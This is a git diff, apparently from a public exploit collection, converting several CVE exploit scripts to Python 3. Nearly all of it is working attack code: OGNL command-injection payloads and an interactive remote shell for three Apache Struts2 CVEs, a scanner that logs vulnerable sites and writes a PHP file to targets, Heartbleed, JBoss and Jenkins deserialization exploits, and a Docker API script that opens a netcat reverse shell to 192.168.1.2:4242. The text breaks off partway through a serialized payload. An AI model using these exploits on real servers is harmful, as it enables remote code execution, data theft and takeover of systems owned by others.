print "\n"+shell.read() - - else: - x = len(validador()) - exit(0) - else: - print BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x) - except: - pass - x=x+1 - else: - print RED+" Debe introducir el protocolo (https o http) para el dominio\n"+ENDC - exit(0) + if host.find("https://") != -1 or host.find("http://") != -1: + + poc = "?redirect:${%23w%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29.getWriter%28%29,%23w.println%28%27mamalo%27%29,%23w.flush%28%29,%23w.close%28%29}" + + def exploit(comando): + exploit = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+comando+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}" + return exploit + + def exploit2(comando): + exploit2 = "Content-Type:%{(+++#_='multipart/form-data').(+++#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(+++#_memberAccess?(+++#_memberAccess=#dm):((+++#container=#context['com.opensymphony.xwork2.ActionContext.container']).(+++#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(+++#ognlUtil.getExcludedPackageNames().clear()).(+++#ognlUtil.getExcludedClasses().clear()).(+++#context.setMemberAccess(+++#dm)))).(+++#shell='"+str(comando)+"').(+++#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(+++#shells=(+++#iswin?{'cmd.exe','/c',#shell}:{'/bin/sh','-c',#shell})).(+++#p=new java.lang.ProcessBuilder(+++#shells)).(+++#p.redirectErrorStream(true)).(+++#process=#p.start()).(+++#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(+++#process.getInputStream(),#ros)).(+++#ros.flush())}" + return exploit2 + + def exploit3(comando): + exploit3 = "%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27"+comando+"%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D" + return exploit3 + + def pwnd(shellfile): + exploitfile = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+shellfile+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}" + return exploitfile + + def validador(): + arr_lin_win = ["file%20/etc/passwd","dir","net%20users","id","/sbin/ifconfig","cat%20/etc/passwd"] + return arr_lin_win + + #def reversepl(ip,port): + # print "perl" + + #def reversepy(ip,port): + # print "python" + + # CVE-2013-2251 --------------------------------------------------------------------------------- + try: + response = '' + response = urllib.request.urlopen(host+poc) + except: + print(RED+" Servidor no responde\n"+ENDC) + exit(0) + + print(BOLD+"\n [+] EJECUTANDO EXPLOIT CVE-2013-2251"+ENDC) + + if response.read().find("mamalo") != -1: + print(RED+" [-] VULNERABLE"+ENDC) + owned = open('vulnsite.txt', 'a') + owned.write(str(host)+'\n') + owned.close() + + opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC) + #print BOLD+" * [SHELL REVERSA]"+ENDC + #print OTRO+" Struts@Shell:$ reverse 127.0.0.1 4444 (perl,python,bash)\n"+ENDC + if opcion == 's': + print(YELLOW+" [-] GET PROMPT...\n"+ENDC) + time.sleep(1) + print(BOLD+" * [UPLOAD SHELL]"+ENDC) + print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC) + + while 1: + separador = input(GREEN+"Struts2@Shell_1:$ "+ENDC) + espacio = separador.split(' ') + comando = "','".join(espacio) + + if espacio[0] != 'reverse' and espacio[0] != 'pwnd': + shell = urllib.request.urlopen(host+exploit("'"+str(comando)+"'")) + print("\n"+shell.read()) + elif espacio[0] == 'pwnd': + pathsave=input("path EJ:/tmp/: ") + + if espacio[1] == 'php': + shellfile = """'python','-c','f%3dopen("/tmp/status.php","w");f.write("")'""" + urllib.request.urlopen(host+pwnd(str(shellfile))) + shell = urllib.request.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'")) + if shell.read().find(pathsave+"status.php") != -1: + print(BOLD+GREEN+"\nCreate File Successfull :) ["+pathsave+"status.php]\n"+ENDC) + else: + print(BOLD+RED+"\nNo Create File :/\n"+ENDC) + + # CVE-2017-5638 --------------------------------------------------------------------------------- + print(BLUE+" [-] NO VULNERABLE"+ENDC) + print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2017-5638"+ENDC) + x = 0 + while x < len(validador()): + valida = validador()[x] + + try: + req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(valida))}) + result = urllib.request.urlopen(req).read() + + if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1: + print(RED+" [-] VULNERABLE"+ENDC) + owned = open('vulnsite.txt', 'a') + owned.write(str(host)+'\n') + owned.close() + + opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC) + if opcion == 's': + print(YELLOW+" [-] GET PROMPT...\n"+ENDC) + time.sleep(1) + + while 1: + try: + separador = input(GREEN+"\nStruts2@Shell_2:$ "+ENDC) + req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(separador))}) + result = urllib.request.urlopen(req).read() + print("\n"+result) + except: + exit(0) + else: + x = len(validador()) + else: + print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x)) + except: + pass + x=x+1 + + # CVE-2018-11776 --------------------------------------------------------------------------------- + print(BLUE+" [-] NO VULNERABLE"+ENDC) + print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2018-11776"+ENDC) + x = 0 + while x < len(validador()): + #Filtramos la url solo dominio + url = host.replace('#', '%23') + url = host.replace(' ', '%20') + if ('://' not in url): + url = str("http://") + str(url) + scheme = urllib.parse.urlparse(url).scheme + site = scheme + '://' + urllib.parse.urlparse(url).netloc + + #Filtramos la url solo path + file_path = urllib.parse.urlparse(url).path + if (file_path == ''): + file_path = '/' + + valida = validador()[x] + try: + result = requests.get(site+"/"+exploit3(str(valida))+file_path).text + + if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1: + print(RED+" [-] VULNERABLE"+ENDC) + owned = open('vulnsite.txt', 'a') + owned.write(str(host)+'\n') + owned.close() + + opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC) + if opcion == 's': + print(YELLOW+" [-] GET PROMPT...\n"+ENDC) + time.sleep(1) + print(BOLD+" * [UPLOAD SHELL]"+ENDC) + print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC) + + while 1: + separador = input(GREEN+"Struts2@Shell_3:$ "+ENDC) + espacio = separador.split(' ') + comando = "%20".join(espacio) + + shell = urllib.request.urlopen(host+exploit3(str(comando))) + print("\n"+shell.read()) + + else: + x = len(validador()) + exit(0) + else: + print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x)) + except: + pass + x=x+1 + else: + print(RED+" Debe introducir el protocolo (https o http) para el dominio\n"+ENDC) + exit(0) else: - print RED+" Debe Ingresar una Url\n"+ENDC - exit(0) + print(RED+" Debe Ingresar una Url\n"+ENDC) + exit(0) diff --git a/CVE Exploits/Apache Struts 2 CVE-2017-5638.py b/CVE Exploits/Apache Struts 2 CVE-2017-5638.py deleted file mode 100755 index df93d833c3..0000000000 --- a/CVE Exploits/Apache Struts 2 CVE-2017-5638.py +++ /dev/null @@ -1,176 +0,0 @@ -#!/usr/bin/env python3 -# coding=utf-8 -# ***************************************************** -# struts-pwn: Apache Struts CVE-2017-5638 Exploit -# Author: -# Mazin Ahmed -# This code is based on: -# https://www.exploit-db.com/exploits/41570/ -# https://www.seebug.org/vuldb/ssvid-92746 -# ***************************************************** -import sys -import random -import requests -import argparse - -# Disable SSL warnings -try: - import requests.packages.urllib3 - requests.packages.urllib3.disable_warnings() -except: - pass - -if len(sys.argv) <= 1: - print('[*] CVE: 2017-5638 - Apache Struts2 S2-045') - print('[*] Struts-PWN - @mazen160') - print('\n%s -h for help.' % (sys.argv[0])) - exit(0) - -parser = argparse.ArgumentParser() -parser.add_argument("-u", "--url", - dest="url", - help="Check a single URL.", - action='store') -parser.add_argument("-l", "--list", - dest="usedlist", - help="Check a list of URLs.", - action='store') -parser.add_argument("-c", "--cmd", - dest="cmd", - help="Command to execute. (Default: id)", - action='store', - default='id') -parser.add_argument("--check", - dest="do_check", - help="Check if a target is vulnerable.", - action='store_true') -args = parser.parse_args() -url = args.url if args.url else None -usedlist = args.usedlist if args.usedlist else None -url = args.url if args.url else None -cmd = args.cmd if args.cmd else None -do_check = args.do_check if args.do_check else None - - -def url_prepare(url): - url = url.replace('#', '%23') - url = url.replace(' ', '%20') - if ('://' not in url): - url = str('http') + str('://') + str(url) - return(url) - - -def exploit(url, cmd): - url = url_prepare(url) - print('\n[*] URL: %s' % (url)) - print('[*] CMD: %s' % (cmd)) - - payload = "%{(#_='multipart/form-data')." - payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." - payload += "(#_memberAccess?" - payload += "(#_memberAccess=#dm):" - payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." - payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." - payload += "(#ognlUtil.getExcludedPackageNames().clear())." - payload += "(#ognlUtil.getExcludedClasses().clear())." - payload += "(#context.setMemberAccess(#dm))))." - payload += "(#cmd='%s')." % cmd - payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." - payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." - payload += "(#p=new java.lang.ProcessBuilder(#cmds))." - payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." - payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." - payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." - payload += "(#ros.flush())}" - - headers = { - 'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn)', - # 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36', - 'Content-Type': str(payload), - 'Accept': '*/*' - } - - timeout = 3 - try: - output = requests.get(url, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text - except Exception as e: - print("EXCEPTION::::--> " + str(e)) - output = 'ERROR' - return(output) - - -def check(url): - url = url_prepare(url) - print('\n[*] URL: %s' % (url)) - - random_string = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for i in range(7)) - - payload = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']." - payload += "addHeader('%s','%s')}.multipart/form-data" % (random_string, random_string) - headers = { - 'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn)', - # 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36', - 'Content-Type': str(payload), - 'Accept': '*/*' - } - - timeout = 3 - try: - resp = requests.get(url, headers=headers, verify=False, timeout=timeout, allow_redirects=False) - if ((random_string in resp.headers.keys()) and (resp.headers[random_string] == random_string)): - result = True - else: - result = False - except Exception as e: - print("EXCEPTION::::--> " + str(e)) - result = False - return(result) - - -def main(url=url, usedlist=usedlist, cmd=cmd, do_check=do_check): - if url: - if do_check: - result = check(url) # Only check for existence of Vulnerablity - output = '[*] Status: ' - if result is True: - output += 'Vulnerable!' - else: - output += 'Not Affected.' - else: - output = exploit(url, cmd) # Exploit - print(output) - - if usedlist: - URLs_List = [] - try: - f_file = open(str(usedlist), 'r') - URLs_List = f_file.read().replace('\r', '').split('\n') - try: - URLs_List.remove('') - except ValueError: - pass - f_file.close() - except: - print('Error: There was an error in reading list file.') - exit(1) - for url in URLs_List: - if do_check: - result = check(url) # Only check for existence of Vulnerablity - output = '[*] Status: ' - if result is True: - output += 'Vulnerable!' - else: - output += 'Not Affected.' - else: - output = exploit(url, cmd) # Exploit - print(output) - - print('[%] Done.') - -if __name__ == '__main__': - try: - main(url=url, usedlist=usedlist, cmd=cmd, do_check=do_check) - except KeyboardInterrupt: - print('\nKeyboardInterrupt Detected.') - print('Exiting...') - exit(0) diff --git a/CVE Exploits/Apache Struts 2 CVE-2017-9805.py b/CVE Exploits/Apache Struts 2 CVE-2017-9805.py old mode 100755 new mode 100644 index 9cd6ccec25..4eb64f5265 --- a/CVE Exploits/Apache Struts 2 CVE-2017-9805.py +++ b/CVE Exploits/Apache Struts 2 CVE-2017-9805.py @@ -8,6 +8,8 @@ # https://github.com/rapid7/metasploit-framework/pull/8924 # https://techblog.mediaservice.net/2017/09/detection-payload-for-the-new-struts-rest-vulnerability-cve-2017-9805/ # ***************************************************** +from __future__ import print_function +from builtins import str import argparse import requests import sys diff --git a/CVE Exploits/Apache Struts 2 CVE-2018-11776.py b/CVE Exploits/Apache Struts 2 CVE-2018-11776.py old mode 100755 new mode 100644 index edbf3c5f0c..7fb11741f0 --- a/CVE Exploits/Apache Struts 2 CVE-2018-11776.py +++ b/CVE Exploits/Apache Struts 2 CVE-2018-11776.py @@ -8,6 +8,11 @@ # https://github.com/jas502n/St2-057 # ***************************************************** +from __future__ import print_function +from future import standard_library +standard_library.install_aliases() +from builtins import str +from builtins import range import argparse import random import requests @@ -15,7 +20,7 @@ try: from urllib import parse as urlparse except ImportError: - import urlparse + import urllib.parse # Disable SSL warnings try: @@ -77,13 +82,13 @@ def parse_url(url): if ('://' not in url): url = str("http://") + str(url) - scheme = urlparse.urlparse(url).scheme + scheme = urllib.parse.urlparse(url).scheme # Site: http://example.com - site = scheme + '://' + urlparse.urlparse(url).netloc + site = scheme + '://' + urllib.parse.urlparse(url).netloc # FilePath: /demo/struts2-showcase/index.action - file_path = urlparse.urlparse(url).path + file_path = urllib.parse.urlparse(url).path if (file_path == ''): file_path = '/' @@ -154,7 +159,7 @@ def check(url): except Exception as e: print("EXCEPTION::::--> " + str(e)) continue - if "Location" in resp.headers.keys(): + if "Location" in list(resp.headers.keys()): if str(multiplication_value) in resp.headers['Location']: print("[*] Status: Vulnerable!") return(injection_point) diff --git a/CVE Exploits/Docker API RCE.py b/CVE Exploits/Docker API RCE.py index 1f8cea9972..8880a1633a 100644 --- a/CVE Exploits/Docker API RCE.py +++ b/CVE Exploits/Docker API RCE.py @@ -1,3 +1,4 @@ +from __future__ import print_function import requests import logging import json @@ -23,7 +24,7 @@ for container in r.json(): container_id = container['Id'] container_name = container['Names'][0].replace('/','') - print(container_id, container_name) + print((container_id, container_name)) # Step 2 - Prepare command cmd = '["nc", "192.168.1.2", "4242", "-e", "/bin/sh"]' diff --git a/CVE Exploits/Drupalgeddon2 CVE-2018-7600.rb b/CVE Exploits/Drupalgeddon2 CVE-2018-7600.rb old mode 100755 new mode 100644 diff --git a/CVE Exploits/Heartbleed CVE-2014-0160.py b/CVE Exploits/Heartbleed CVE-2014-0160.py old mode 100755 new mode 100644 index 60672a3d94..42907c1a75 --- a/CVE Exploits/Heartbleed CVE-2014-0160.py +++ b/CVE Exploits/Heartbleed CVE-2014-0160.py @@ -4,6 +4,9 @@ # The author disclaims copyright to this source code. # Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin) +from __future__ import print_function +from builtins import str +from builtins import range import sys import struct import socket @@ -61,12 +64,12 @@ def hexdump(s, dumpf, quiet): dump.write(s) dump.close() if quiet: return - for b in xrange(0, len(s), 16): + for b in range(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) - print ' %04x: %-48s %s' % (b, hxdat, pdat) - print + print(' %04x: %-48s %s' % (b, hxdat, pdat)) + print() def recvall(s, length, timeout=5): endtime = time.time() + timeout @@ -92,57 +95,57 @@ def recvall(s, length, timeout=5): def recvmsg(s): hdr = recvall(s, 5) if hdr is None: - print 'Unexpected EOF receiving record header - server closed connection' + print('Unexpected EOF receiving record header - server closed connection') return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: - print 'Unexpected EOF receiving record payload - server closed connection' + print('Unexpected EOF receiving record payload - server closed connection') return None, None, None - print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) + print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))) return typ, ver, pay def hit_hb(s, dumpf, host, quiet): while True: typ, ver, pay = recvmsg(s) if typ is None: - print 'No heartbeat response received from '+host+', server likely not vulnerable' + print('No heartbeat response received from '+host+', server likely not vulnerable') return False if typ == 24: - if not quiet: print 'Received heartbeat response:' + if not quiet: print('Received heartbeat response:') hexdump(pay, dumpf, quiet) if len(pay) > 3: - print 'WARNING: server '+ host +' returned more data than it should - server is vulnerable!' + print('WARNING: server '+ host +' returned more data than it should - server is vulnerable!') else: - print 'Server '+host+' processed malformed heartbeat, but did not return any extra data.' + print('Server '+host+' processed malformed heartbeat, but did not return any extra data.') return True if typ == 21: - if not quiet: print 'Received alert:' + if not quiet: print('Received alert:') hexdump(pay, dumpf, quiet) - print 'Server '+ host +' returned error, likely not vulnerable' + print('Server '+ host +' returned error, likely not vulnerable') return False def connect(host, port, quiet): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - if not quiet: print 'Connecting...' + if not quiet: print('Connecting...') sys.stdout.flush() s.connect((host, port)) return s def tls(s, quiet): - if not quiet: print 'Sending Client Hello...' + if not quiet: print('Sending Client Hello...') sys.stdout.flush() s.send(hello) - if not quiet: print 'Waiting for Server Hello...' + if not quiet: print('Waiting for Server Hello...') sys.stdout.flush() def parseresp(s): while True: typ, ver, pay = recvmsg(s) if typ == None: - print 'Server closed connection without sending Server Hello.' + print('Server closed connection without sending Server Hello.') return 0 # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: @@ -156,10 +159,10 @@ def check(host, port, dumpf, quiet, starttls): s.ehlo() s.starttls() except smtplib.SMTPException: - print 'STARTTLS not supported...' + print('STARTTLS not supported...') s.quit() return False - print 'STARTTLS supported...' + print('STARTTLS supported...') s.quit() s = connect(host, port, quiet) s.settimeout(1) @@ -170,7 +173,7 @@ def check(host, port, dumpf, quiet, starttls): s.send('starttls\r\n') re = s.recv(1024) except socket.timeout: - print 'Timeout issues, going ahead anyway, but it is probably broken ...' + print('Timeout issues, going ahead anyway, but it is probably broken ...') tls(s,quiet) else: s = connect(host, port, quiet) @@ -179,13 +182,13 @@ def check(host, port, dumpf, quiet, starttls): version = parseresp(s) if version == 0: - if not quiet: print "Got an error while parsing the response, bailing ..." + if not quiet: print("Got an error while parsing the response, bailing ...") return False else: version = version - 0x0300 - if not quiet: print "Server TLS version was 1.%d\n" % version + if not quiet: print("Server TLS version was 1.%d\n" % version) - if not quiet: print 'Sending heartbeat request...' + if not quiet: print('Sending heartbeat request...') sys.stdout.flush() if (version == 1): s.send(hbv10) @@ -205,8 +208,8 @@ def main(): options.print_help() return - print 'Scanning ' + args[0] + ' on port ' + str(opts.port) - for i in xrange(0,opts.num): + print('Scanning ' + args[0] + ' on port ' + str(opts.port)) + for i in range(0,opts.num): check(args[0], opts.port, opts.file, opts.quiet, opts.starttls) if __name__ == '__main__': diff --git a/CVE Exploits/JBoss CVE-2015-7501.py b/CVE Exploits/JBoss CVE-2015-7501.py index e82ad231a0..2ee8edc5f4 100644 --- a/CVE Exploits/JBoss CVE-2015-7501.py +++ b/CVE Exploits/JBoss CVE-2015-7501.py @@ -3,6 +3,7 @@ # Jboss Java Deserialization RCE (CVE-2015-7501) # Made with <3 by @byt3bl33d3r +from __future__ import print_function import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) @@ -36,26 +37,26 @@ ysoserial_path = args.ysoserial_path if ysoserial_path is None: - print '[-] Could not find ysoserial JAR file' + print('[-] Could not find ysoserial JAR file') sys.exit(1) if len(args.target.split(":")) != 2: - print '[-] Target must be in format IP:PORT' + print('[-] Target must be in format IP:PORT') sys.exit(1) if not args.command: - print '[-] You must specify a command to run' + print('[-] You must specify a command to run') sys.exit(1) ip, port = args.target.split(':') -print '[*] Target IP: {}'.format(ip) -print '[*] Target PORT: {}'.format(port) +print('[*] Target IP: {}'.format(ip)) +print('[*] Target PORT: {}'.format(port)) gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command]) r = requests.post('{}://{}:{}/invoker/JMXInvokerServlet'.format(args.proto, ip, port), verify=False, data=gadget) if r.status_code == 200: - print '[+] Command executed successfully' + print('[+] Command executed successfully') diff --git a/CVE Exploits/Jenkins CVE-2015-8103.py b/CVE Exploits/Jenkins CVE-2015-8103.py index 5419470a88..804736c825 100644 --- a/CVE Exploits/Jenkins CVE-2015-8103.py +++ b/CVE Exploits/Jenkins CVE-2015-8103.py @@ -4,6 +4,7 @@ #Based on the PoC by FoxGlove Security (https://github.com/foxglovesec/JavaUnserializeExploits) #Made with <3 by @byt3bl33d3r +from __future__ import print_function import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) @@ -39,24 +40,24 @@ ysoserial_path = args.ysoserial_path if ysoserial_path is None: - print "[-] Could not find ysoserial JAR file" + print("[-] Could not find ysoserial JAR file") sys.exit(1) if len(args.target.split(':')) != 2: - print '[-] Target must be in format IP:PORT' + print('[-] Target must be in format IP:PORT') sys.exit(1) if not args.command: - print '[-] You must specify a command to run' + print('[-] You must specify a command to run') sys.exit(1) host, port = args.target.split(':') -print '[*] Target IP: {}'.format(host) -print '[*] Target PORT: {}'.format(port) -print '\n' +print('[*] Target IP: {}'.format(host)) +print('[*] Target PORT: {}'.format(port)) +print('\n') -print '[*] Retrieving the Jenkins CLI port' +print('[*] Retrieving the Jenkins CLI port') #Query Jenkins over HTTP to find what port the CLI listener is on r = requests.get('{}://{}:{}'.format(args.proto, host, port)) cli_port = int(r.headers['X-Jenkins-CLI-Port']) @@ -64,24 +65,24 @@ #Open a socket to the CLI port sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = (host, cli_port) -print '[*] Connecting to Jenkins CLI on {}:{}'.format(host, cli_port) +print('[*] Connecting to Jenkins CLI on {}:{}'.format(host, cli_port)) sock.connect(server_address) # Send headers headers='\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74' -print '[*] Sending headers' +print('[*] Sending headers') sock.send(headers) data = sock.recv(1024) -print '[*] Received "{}"'.format(data) +print('[*] Received "{}"'.format(data)) if data.find('JENKINS REMOTING CAPACITY') == -1: data = sock.recv(1024) - print '[*] Received "{}"'.format(data) + print('[*] Received "{}"'.format(data)) payloadObj = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections3', args.command]) payload_b64 = base64.b64encode(payloadObj) payload='\x3c\x3d\x3d\x3d\x5b\x4a\x45\x4e\x4b\x49\x4e\x53\x20\x52\x45\x4d\x4f\x54\x49\x4e\x47\x20\x43\x41\x50\x41\x43\x49\x54\x59\x5d\x3d\x3d\x3d\x3e'+payload_b64+'\x00\x00\x00\x00\x11\x2d\xac\xed\x00\x05\x73\x72\x00\x1b\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x55\x73\x65\x72\x52\x65\x71\x75\x65\x73\x74\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x03\x4c\x00\x10\x63\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x50\x72\x6f\x78\x79\x74\x00\x30\x4c\x68\x75\x64\x73\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x52\x65\x6d\x6f\x74\x65\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x24\x49\x43\x6c\x61\x73\x73\x4c\x6f\x61\x64\x65\x72\x3b\x5b\x00\x07\x72\x65\x71\x75\x65\x73\x74\x74\x00\x02\x5b\x42\x4c\x00\x08\x74\x6f\x53\x74\x72\x69\x6e\x67\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x78\x72\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x52\x65\x71\x75\x65\x73\x74\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x03\x49\x00\x02\x69\x64\x49\x00\x08\x6c\x61\x73\x74\x49\x6f\x49\x64\x4c\x00\x08\x72\x65\x73\x70\x6f\x6e\x73\x65\x74\x00\x1a\x4c\x68\x75\x64\x73\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x52\x65\x73\x70\x6f\x6e\x73\x65\x3b\x78\x72\x00\x17\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x01\x4c\x00\x09\x63\x72\x65\x61\x74\x65\x64\x41\x74\x74\x00\x15\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x3b\x78\x70\x73\x72\x00\x1e\x68\x75\x64\x73\x6f\x6e\x2e\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2e\x43\x6f\x6d\x6d\x61\x6e\x64\x24\x53\x6f\x75\x72\x63\x65\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x01\x4c\x00\x06\x74\x68\x69\x73\x24\x30\x74\x00\x19\x4c\x68\x75\x64\x73\x6f\x6e\x2f\x72\x65\x6d\x6f\x74\x69\x6e\x67\x2f\x43\x6f\x6d\x6d\x61\x6e\x64\x3b\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\xd0\xfd\x1f\x3e\x1a\x3b\x1c\xc4\x02\x00\x00\x78\x72\x00\x13\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\xd5\xc6\x35\x27\x39\x77\xb8\xcb\x03\x00\x04\x4c\x00\x05\x63\x61\x75\x73\x65\x74\x00\x15\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72\x6f\x77\x61\x62\x6c\x65\x3b\x4c\x00\x0d\x64\x65\x74\x61\x69\x6c\x4d\x65\x73\x73\x61\x67\x65\x71\x00\x7e\x00\x03\x5b\x00\x0a\x73\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x74\x00\x1e\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x4c\x00\x14\x73\x75\x70\x70\x72\x65\x73\x73\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x73\x74\x00\x10\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4c\x69\x73\x74\x3b\x78\x70\x71\x00\x7e\x00\x10\x70\x75\x72\x00\x1e\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x3b\x02\x46\x2a\x3c\x3c\xfd\x22\x39\x02\x00\x00\x78\x70\x00\x00\x00\x0c\x73\x72\x00\x1b\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x61\x63\x6b\x54\x72\x61\x63\x65\x45\x6c\x65\x6d\x65\x6e\x74\x61\x09\xc5\x9a\x26\x36\xdd\x85\x02\x00\x04\x49\x00\x0a\x6c\x69\x6e\x65\x4e\x75\x6d\x62\x65\x72\x4c\x00\x0e\x64\x65\x63\x6c\x61\x72\x69\x6e\x67\x43\x6c\x61\x73\x73\x71\x00\x7e\x00\x03\x4c\x00\x08\x66\x69\x6c\x65\x4e\x61\x6d\x65\x71\x00\x7e\x00\x03\x4c\x00\